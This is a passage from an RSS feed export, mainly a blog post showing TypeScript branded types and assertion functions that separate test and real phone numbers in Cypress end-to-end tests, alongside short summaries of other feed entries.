Happy Job Hunting &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Segoe UI Emoji&amp;quot;,sans-serif; mso-bidi-font-family: &amp;quot;Segoe UI Emoji&amp;quot;&quot;&gt;👍&lt;/span&gt;&lt;/p&gt;</summary><author><name>YOGESH KHAIRNAR</name></author><source gr:stream-id="feed/https://qa-qcarena.blogspot.com/feeds/posts/default?alt=rss"><id>tag:google.com,2005:reader/feed/https://qa-qcarena.blogspot.com/feeds/posts/default?alt=rss</id><title type="html">QA-QC Arena</title><link rel="alternate" href="https://qa-qcarena.blogspot.com/" type="text/html"></link></source></entry><entry gr:crawl-timestamp-msec="1793944147000"><id gr:original-id="https://medium.com/p/a95138e28767">tag:google.com,2005:reader/item/00000a060000009d</id><category term="llm"></category><category term="coding"></category><category term="ai"></category><category term="software-development"></category><category term="jevs"></category><title type="html">Build a Jev-inspired Decision Model from Scratch</title><published>2026-11-06T05:49:07Z</published><updated>2026-11-06T05:49:07Z</updated><link rel="alternate" href="https://medium.com/data-and-beyond/build-a-jev-inspired-decision-model-from-scratch-a95138e28767?source=rss-f171d77cdec6------2" type="text/html"></link><summary type="html">&lt;div&gt;&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://medium.com/data-and-beyond/build-a-jev-inspired-decision-model-from-scratch-a95138e28767?source=rss-f171d77cdec6------2&quot;&gt;&lt;img class=&quot;bqrUnknownImgSize&quot; src=&quot;https://cdn-images-1.medium.com/max/2600/0*v72CofzmtvTC3SoU&quot; width=&quot;3024&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;A 116,545-parameter NumPy experiment in structured decisions, calibration and knowing when no answer fits.&lt;/p&gt;&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://medium.com/data-and-beyond/build-a-jev-inspired-decision-model-from-scratch-a95138e28767?source=rss-f171d77cdec6------2&quot;&gt;Continue reading on Data And Beyond »&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;</summary><author><name>TONI RAMCHANDANI</name></author><source gr:stream-id="feed/https://toniramchandani.medium.com/feed"><id>tag:google.com,2005:reader/feed/https://toniramchandani.medium.com/feed</id><title type="html">Stories by TONI RAMCHANDANI on Medium</title><link rel="alternate" href="https://medium.com/@toniramchandani?source=rss-f171d77cdec6------2" type="text/html"></link></source></entry><entry gr:crawl-timestamp-msec="1793941200000"><id gr:original-id="https://glebbahmutov.com/blog/branded-phone-type/">tag:google.com,2005:reader/item/0000097e0000027c</id><category term="process"></category><category term="testing"></category><category term="cypress"></category><category term="typescript"></category><title type="html">Branded Phone Type</title><published>2026-11-06T05:00:00Z</published><updated>2026-11-06T05:00:00Z</updated><link rel="alternate" href="https://glebbahmutov.com/blog/branded-phone-type/" type="text/html"></link><summary type="html">&lt;p&gt;In my previous blog post &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://glebbahmutov.com/blog/branded-types/&quot; title=&quot;Branded Types&quot;&gt;Branded Types&lt;/a&gt; I have shown a useful technique for representing time durations as &amp;quot;branded types&amp;quot; which removes the confusion between seconds and milliseconds.&lt;/p&gt;&lt;figure&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;pre&gt;&lt;span&gt;1&lt;/span&gt;&lt;br&gt;&lt;span&gt;2&lt;/span&gt;&lt;br&gt;&lt;span&gt;3&lt;/span&gt;&lt;br&gt;&lt;span&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;// value is in seconds&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;const&lt;/span&gt; duration = &lt;span&gt;1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;// oops, I thought the duration was in milliseconds&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;cy.&lt;span&gt;wait&lt;/span&gt;(duration)&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Let me show an other example: representing user phone numbers using branded types. This solves a common problem in end-to-end tests where the system has to verify the user to avoid scammers:&lt;/p&gt;&lt;figure&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;pre&gt;&lt;span&gt;1&lt;/span&gt;&lt;br&gt;&lt;span&gt;2&lt;/span&gt;&lt;br&gt;&lt;span&gt;3&lt;/span&gt;&lt;br&gt;&lt;span&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;// are these numbers the same?&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;const&lt;/span&gt; phoneNumber1 = &lt;span&gt;&amp;apos;+1 (123) 456-7890&amp;apos;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;const&lt;/span&gt; phoneNumber2 = &lt;span&gt;&amp;apos;1234567890&amp;apos;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;const&lt;/span&gt; phoneNumber3 = &lt;span&gt;&amp;apos;0001234567&amp;apos;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;In our &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://slides.com/bahmutov/1000-e2e&quot;&gt;Mercari testing&lt;/a&gt;, we use type 2 and type 3 phone numbers to represent real and &amp;quot;dev-only&amp;quot; phone numbers. We want to distinguish these phone numbers from regular strings. We want to statically &amp;quot;catch&amp;quot; the problem of passing a string where a phone number is required&lt;/p&gt;&lt;figure&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;pre&gt;&lt;span&gt;1&lt;/span&gt;&lt;br&gt;&lt;span&gt;2&lt;/span&gt;&lt;br&gt;&lt;span&gt;3&lt;/span&gt;&lt;br&gt;&lt;span&gt;4&lt;/span&gt;&lt;br&gt;&lt;span&gt;5&lt;/span&gt;&lt;br&gt;&lt;span&gt;6&lt;/span&gt;&lt;br&gt;&lt;span&gt;7&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;// custom command cy.enterPhoneNumber(phone: string)&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;// cannot check its argument, all it expects is a string&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;const&lt;/span&gt; phoneNumber = &lt;span&gt;&amp;apos;call me&amp;apos;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;// oops, this is really wrong value to enter here&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;cy.&lt;span&gt;enterPhoneNumber&lt;/span&gt;(phoneNumber)&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;h2&gt;&lt;span id=&quot;article-G7jEp4L69COUdNJfdqoSGrrBqk4-branded-phone-types&quot;&gt;Branded phone types&lt;/span&gt;&lt;/h2&gt;&lt;p&gt;Let&amp;apos;s represent the 10-digit phone numbers using branded types.&lt;/p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;phone.d.ts&lt;/span&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;pre&gt;&lt;span&gt;1&lt;/span&gt;&lt;br&gt;&lt;span&gt;2&lt;/span&gt;&lt;br&gt;&lt;span&gt;3&lt;/span&gt;&lt;br&gt;&lt;span&gt;4&lt;/span&gt;&lt;br&gt;&lt;span&gt;5&lt;/span&gt;&lt;br&gt;&lt;span&gt;6&lt;/span&gt;&lt;br&gt;&lt;span&gt;7&lt;/span&gt;&lt;br&gt;&lt;span&gt;8&lt;/span&gt;&lt;br&gt;&lt;span&gt;9&lt;/span&gt;&lt;br&gt;&lt;span&gt;10&lt;/span&gt;&lt;br&gt;&lt;span&gt;11&lt;/span&gt;&lt;br&gt;&lt;span&gt;12&lt;/span&gt;&lt;br&gt;&lt;span&gt;13&lt;/span&gt;&lt;br&gt;&lt;span&gt;14&lt;/span&gt;&lt;br&gt;&lt;span&gt;15&lt;/span&gt;&lt;br&gt;&lt;span&gt;16&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;/**&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt; * A branded type representing a phone number string.&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt; */&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;type&lt;/span&gt; &lt;span&gt;PhoneNumber&lt;/span&gt; = &lt;span&gt;string&lt;/span&gt; &amp;amp; { &lt;span&gt;__brand&lt;/span&gt;: &lt;span&gt;&amp;apos;phone&amp;apos;&lt;/span&gt; }&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;//&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;// custom phone number types&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;//&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;type&lt;/span&gt; &lt;span&gt;TestPhoneNumber&lt;/span&gt; = &lt;span&gt;PhoneNumber&lt;/span&gt; &amp;amp; { &lt;span&gt;__phoneKind&lt;/span&gt;: &lt;span&gt;&amp;apos;test&amp;apos;&lt;/span&gt; }&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;type&lt;/span&gt; &lt;span&gt;RealPhoneNumber&lt;/span&gt; = &lt;span&gt;PhoneNumber&lt;/span&gt; &amp;amp; { &lt;span&gt;__phoneKind&lt;/span&gt;: &lt;span&gt;&amp;apos;real&amp;apos;&lt;/span&gt; }&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;/**&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt; * A branded type representing a formatted phone number string.&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt; * &lt;span&gt;@example&lt;/span&gt; &amp;apos;(000) 000-0045&amp;apos;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt; */&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;type&lt;/span&gt; &lt;span&gt;FormattedPhoneNumber&lt;/span&gt; = &lt;span&gt;PhoneNumber&lt;/span&gt; &amp;amp; { &lt;span&gt;__phoneKind&lt;/span&gt;: &lt;span&gt;&amp;apos;formatted&amp;apos;&lt;/span&gt; }&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;I like using ambient &lt;code&gt;.d.ts&lt;/code&gt; files so that the common types are available everywhere in the testing repo. Right now we have the common &amp;quot;base&amp;quot; type &lt;code&gt;PhoneNumber&lt;/code&gt; that is different from a string, and it is further &amp;quot;subdivided&amp;quot; into &lt;code&gt;TestPhoneNumber&lt;/code&gt; and a &lt;code&gt;RealPhoneNumber&lt;/code&gt;. Different utils and objects can specify the phone number types needed.&lt;/p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;phone.ts&lt;/span&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;pre&gt;&lt;span&gt;1&lt;/span&gt;&lt;br&gt;&lt;span&gt;2&lt;/span&gt;&lt;br&gt;&lt;span&gt;3&lt;/span&gt;&lt;br&gt;&lt;span&gt;4&lt;/span&gt;&lt;br&gt;&lt;span&gt;5&lt;/span&gt;&lt;br&gt;&lt;span&gt;6&lt;/span&gt;&lt;br&gt;&lt;span&gt;7&lt;/span&gt;&lt;br&gt;&lt;span&gt;8&lt;/span&gt;&lt;br&gt;&lt;span&gt;9&lt;/span&gt;&lt;br&gt;&lt;span&gt;10&lt;/span&gt;&lt;br&gt;&lt;span&gt;11&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;// regular tests can use dev test numbers&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;export&lt;/span&gt; &lt;span&gt;const&lt;/span&gt; &lt;span&gt;generateTestPhoneNumber&lt;/span&gt; = () =&amp;gt; {&lt;/span&gt;&lt;br&gt;&lt;span&gt;  &lt;span&gt;const&lt;/span&gt; phoneNumber = &lt;span&gt;&amp;apos;000&amp;apos;&lt;/span&gt; + &lt;span&gt;Cypress&lt;/span&gt;.&lt;span&gt;_&lt;/span&gt;.&lt;span&gt;random&lt;/span&gt;(&lt;span&gt;1e6&lt;/span&gt;, &lt;span&gt;1e7&lt;/span&gt; - &lt;span&gt;1&lt;/span&gt;).&lt;span&gt;toString&lt;/span&gt;()&lt;/span&gt;&lt;br&gt;&lt;span&gt;  &lt;span&gt;return&lt;/span&gt; phoneNumber &lt;span&gt;as&lt;/span&gt; &lt;span&gt;TestPhoneNumber&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;}&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;// when we need a number that can receive an SMS we can use&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;// an actual registered phone number&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;export&lt;/span&gt; &lt;span&gt;const&lt;/span&gt; &lt;span&gt;CONSTANTS&lt;/span&gt; = {&lt;/span&gt;&lt;br&gt;&lt;span&gt;  &lt;span&gt;phoneNumber&lt;/span&gt;: &lt;span&gt;&amp;apos;1234567890&amp;apos;&lt;/span&gt; &lt;span&gt;as&lt;/span&gt; &lt;span&gt;RealPhoneNumber&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span&gt;}&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Great, but if all we know is that we have a string, how do we ensure that it is a valid phone number? Well, we can check:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;test phone numbers are 10-digit strings that start with &amp;quot;000&amp;quot;&lt;/li&gt;&lt;li&gt;real phone numbers are 10-digit strings that do not start with &amp;quot;000&amp;quot; or &amp;quot;555&amp;quot;&lt;/li&gt;&lt;li&gt;formatted phone numbers follow their own pattern&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;We can write TypeScript assertion functions for easy type casting:&lt;/p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;phone.ts&lt;/span&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;pre&gt;&lt;span&gt;1&lt;/span&gt;&lt;br&gt;&lt;span&gt;2&lt;/span&gt;&lt;br&gt;&lt;span&gt;3&lt;/span&gt;&lt;br&gt;&lt;span&gt;4&lt;/span&gt;&lt;br&gt;&lt;span&gt;5&lt;/span&gt;&lt;br&gt;&lt;span&gt;6&lt;/span&gt;&lt;br&gt;&lt;span&gt;7&lt;/span&gt;&lt;br&gt;&lt;span&gt;8&lt;/span&gt;&lt;br&gt;&lt;span&gt;9&lt;/span&gt;&lt;br&gt;&lt;span&gt;10&lt;/span&gt;&lt;br&gt;&lt;span&gt;11&lt;/span&gt;&lt;br&gt;&lt;span&gt;12&lt;/span&gt;&lt;br&gt;&lt;span&gt;13&lt;/span&gt;&lt;br&gt;&lt;span&gt;14&lt;/span&gt;&lt;br&gt;&lt;span&gt;15&lt;/span&gt;&lt;br&gt;&lt;span&gt;16&lt;/span&gt;&lt;br&gt;&lt;span&gt;17&lt;/span&gt;&lt;br&gt;&lt;span&gt;18&lt;/span&gt;&lt;br&gt;&lt;span&gt;19&lt;/span&gt;&lt;br&gt;&lt;span&gt;20&lt;/span&gt;&lt;br&gt;&lt;span&gt;21&lt;/span&gt;&lt;br&gt;&lt;span&gt;22&lt;/span&gt;&lt;br&gt;&lt;span&gt;23&lt;/span&gt;&lt;br&gt;&lt;span&gt;24&lt;/span&gt;&lt;br&gt;&lt;span&gt;25&lt;/span&gt;&lt;br&gt;&lt;span&gt;26&lt;/span&gt;&lt;br&gt;&lt;span&gt;27&lt;/span&gt;&lt;br&gt;&lt;span&gt;28&lt;/span&gt;&lt;br&gt;&lt;span&gt;29&lt;/span&gt;&lt;br&gt;&lt;span&gt;30&lt;/span&gt;&lt;br&gt;&lt;span&gt;31&lt;/span&gt;&lt;br&gt;&lt;span&gt;32&lt;/span&gt;&lt;br&gt;&lt;span&gt;33&lt;/span&gt;&lt;br&gt;&lt;span&gt;34&lt;/span&gt;&lt;br&gt;&lt;span&gt;35&lt;/span&gt;&lt;br&gt;&lt;span&gt;36&lt;/span&gt;&lt;br&gt;&lt;span&gt;37&lt;/span&gt;&lt;br&gt;&lt;span&gt;38&lt;/span&gt;&lt;br&gt;&lt;span&gt;39&lt;/span&gt;&lt;br&gt;&lt;span&gt;40&lt;/span&gt;&lt;br&gt;&lt;span&gt;41&lt;/span&gt;&lt;br&gt;&lt;span&gt;42&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;/**&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt; * Asserts that the given phone number is a valid test phone number,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt; * which starts with &amp;quot;000&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt; *&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt; * &lt;span&gt;@param&lt;/span&gt; phone The test phone number to validate&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt; * &lt;span&gt;@throws&lt;/span&gt; {&lt;span&gt;Error&lt;/span&gt;} If the phone number is not a valid test phone number&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt; */&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;export&lt;/span&gt; &lt;span&gt;function&lt;/span&gt; &lt;span&gt;assertTestPhoneNumber&lt;/span&gt;(&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;  phone: &lt;span&gt;string&lt;/span&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;): asserts phone is &lt;span&gt;TestPhoneNumber&lt;/span&gt; {&lt;/span&gt;&lt;br&gt;&lt;span&gt;  &lt;span&gt;if&lt;/span&gt; (&lt;span&gt;typeof&lt;/span&gt; phone !== &lt;span&gt;&amp;apos;string&amp;apos;&lt;/span&gt;) {&lt;/span&gt;&lt;br&gt;&lt;span&gt;    &lt;span&gt;throw&lt;/span&gt; &lt;span&gt;new&lt;/span&gt; &lt;span&gt;Error&lt;/span&gt;(&lt;span&gt;`Phone number must be a string. Got &lt;span&gt;${&lt;span&gt;typeof&lt;/span&gt; phone}&lt;/span&gt;`&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span&gt;  }&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span&gt;  &lt;span&gt;if&lt;/span&gt; (!&lt;span&gt;/^000\d{7}$/&lt;/span&gt;.&lt;span&gt;test&lt;/span&gt;(phone)) {&lt;/span&gt;&lt;br&gt;&lt;span&gt;    &lt;span&gt;throw&lt;/span&gt; &lt;span&gt;new&lt;/span&gt; &lt;span&gt;Error&lt;/span&gt;(&lt;span&gt;`Invalid test phone number: &lt;span&gt;${phone}&lt;/span&gt;`&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span&gt;  }&lt;/span&gt;&lt;br&gt;&lt;span&gt;}&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;/**&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt; * Asserts that the given phone number is a valid real phone number,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt; * which is a 10-digit number that does not start with 0 or 555.&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt; */&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;export&lt;/span&gt; &lt;span&gt;function&lt;/span&gt; &lt;span&gt;assertRealPhoneNumber&lt;/span&gt;(&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;  phone: &lt;span&gt;string&lt;/span&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;): asserts phone is &lt;span&gt;RealPhoneNumber&lt;/span&gt; {&lt;/span&gt;&lt;br&gt;&lt;span&gt;  &lt;span&gt;if&lt;/span&gt; (&lt;span&gt;typeof&lt;/span&gt; phone !== &lt;span&gt;&amp;apos;string&amp;apos;&lt;/span&gt;) {&lt;/span&gt;&lt;br&gt;&lt;span&gt;    &lt;span&gt;throw&lt;/span&gt; &lt;span&gt;new&lt;/span&gt; &lt;span&gt;Error&lt;/span&gt;(&lt;span&gt;`Phone number must be a string. Got &lt;span&gt;${&lt;span&gt;typeof&lt;/span&gt; phone}&lt;/span&gt;`&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span&gt;  }&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span&gt;  &lt;span&gt;if&lt;/span&gt; (!&lt;span&gt;/^\d{10}$/&lt;/span&gt;.&lt;span&gt;test&lt;/span&gt;(phone)) {&lt;/span&gt;&lt;br&gt;&lt;span&gt;    &lt;span&gt;throw&lt;/span&gt; &lt;span&gt;new&lt;/span&gt; &lt;span&gt;Error&lt;/span&gt;(&lt;span&gt;`Invalid real phone number: &lt;span&gt;${phone}&lt;/span&gt;`&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span&gt;  }&lt;/span&gt;&lt;br&gt;&lt;span&gt;  &lt;span&gt;// a real phone number cannot start with 0&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;  &lt;span&gt;if&lt;/span&gt; (phone.&lt;span&gt;startsWith&lt;/span&gt;(&lt;span&gt;&amp;apos;0&amp;apos;&lt;/span&gt;)) {&lt;/span&gt;&lt;br&gt;&lt;span&gt;    &lt;span&gt;throw&lt;/span&gt; &lt;span&gt;new&lt;/span&gt; &lt;span&gt;Error&lt;/span&gt;(&lt;span&gt;`Invalid real phone number: &lt;span&gt;${phone}&lt;/span&gt;`&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span&gt;  }&lt;/span&gt;&lt;br&gt;&lt;span&gt;  &lt;span&gt;// a real phone number cannot start with 555&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;  &lt;span&gt;if&lt;/span&gt; (phone.&lt;span&gt;startsWith&lt;/span&gt;(&lt;span&gt;&amp;apos;555&amp;apos;&lt;/span&gt;)) {&lt;/span&gt;&lt;br&gt;&lt;span&gt;    &lt;span&gt;throw&lt;/span&gt; &lt;span&gt;new&lt;/span&gt; &lt;span&gt;Error&lt;/span&gt;(&lt;span&gt;`Invalid real phone number: &lt;span&gt;${phone}&lt;/span&gt;`&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span&gt;  }&lt;/span&gt;&lt;br&gt;&lt;span&gt;}&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;The base phone number in our system is either a test phone number or a real phone number:&lt;/p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;phone.ts&lt;/span&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;pre&gt;&lt;span&gt;1&lt;/span&gt;&lt;br&gt;&lt;span&gt;2&lt;/span&gt;&lt;br&gt;&lt;span&gt;3&lt;/span&gt;&lt;br&gt;&lt;span&gt;4&lt;/span&gt;&lt;br&gt;&lt;span&gt;5&lt;/span&gt;&lt;br&gt;&lt;span&gt;6&lt;/span&gt;&lt;br&gt;&lt;span&gt;7&lt;/span&gt;&lt;br&gt;&lt;span&gt;8&lt;/span&gt;&lt;br&gt;&lt;span&gt;9&lt;/span&gt;&lt;br&gt;&lt;span&gt;10&lt;/span&gt;&lt;br&gt;&lt;span&gt;11&lt;/span&gt;&lt;br&gt;&lt;span&gt;12&lt;/span&gt;&lt;br&gt;&lt;span&gt;13&lt;/span&gt;&lt;br&gt;&lt;span&gt;14&lt;/span&gt;&lt;br&gt;&lt;span&gt;15&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;/**&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt; * Confirms the given string is either a test phone number or a real phone number.&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt; *&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt; * &lt;span&gt;@param&lt;/span&gt; phone The phone number to validate&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt; * &lt;span&gt;@throws&lt;/span&gt; {&lt;span&gt;Error&lt;/span&gt;} If the phone number is neither a valid test phone number nor a valid real phone number&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt; */&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;export&lt;/span&gt; &lt;span&gt;function&lt;/span&gt; &lt;span&gt;assertPhoneNumber&lt;/span&gt;(&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;  phone: &lt;span&gt;string&lt;/span&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;): asserts phone is &lt;span&gt;TestPhoneNumber&lt;/span&gt; | &lt;span&gt;RealPhoneNumber&lt;/span&gt; {&lt;/span&gt;&lt;br&gt;&lt;span&gt;  &lt;span&gt;try&lt;/span&gt; {&lt;/span&gt;&lt;br&gt;&lt;span&gt;    &lt;span&gt;assertTestPhoneNumber&lt;/span&gt;(phone)&lt;/span&gt;&lt;br&gt;&lt;span&gt;  } &lt;span&gt;catch&lt;/span&gt; {&lt;/span&gt;&lt;br&gt;&lt;span&gt;    &lt;span&gt;assertRealPhoneNumber&lt;/span&gt;(phone)&lt;/span&gt;&lt;br&gt;&lt;span&gt;  }&lt;/span&gt;&lt;br&gt;&lt;span&gt;}&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Here is how we can use it: imagine we have a string with a phone number.&lt;/p&gt;&lt;figure&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;pre&gt;&lt;span&gt;1&lt;/span&gt;&lt;br&gt;&lt;span&gt;2&lt;/span&gt;&lt;br&gt;&lt;span&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;const&lt;/span&gt; phoneNumber = &lt;span&gt;&amp;apos;0001234567&amp;apos;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;assertTestPhoneNumber&lt;/span&gt;(phoneNumber)&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;console&lt;/span&gt;.&lt;span&gt;log&lt;/span&gt;(phoneNumber)&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;If we check the variable when it is declared, we see what TypeScript sees: a string&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;bqrUnknownImgSize&quot; src=&quot;https://glebbahmutov.com/images/branded-phone-type/string.png&quot; alt=&quot;TypeScript: phoneNumber variable holds a string&quot;&gt;&lt;/p&gt;&lt;p&gt;We could be explicit and declare the variable type&lt;/p&gt;&lt;figure&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;pre&gt;&lt;span&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;const&lt;/span&gt; phoneNumber = &lt;span&gt;&amp;apos;0001234567&amp;apos;&lt;/span&gt; &lt;span&gt;as&lt;/span&gt; &lt;span&gt;TestPhoneNumber&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;But we could &lt;em&gt;assert&lt;/em&gt; the type by checking the string, then TS &amp;quot;knows&amp;quot; the current type, and the runtime validates 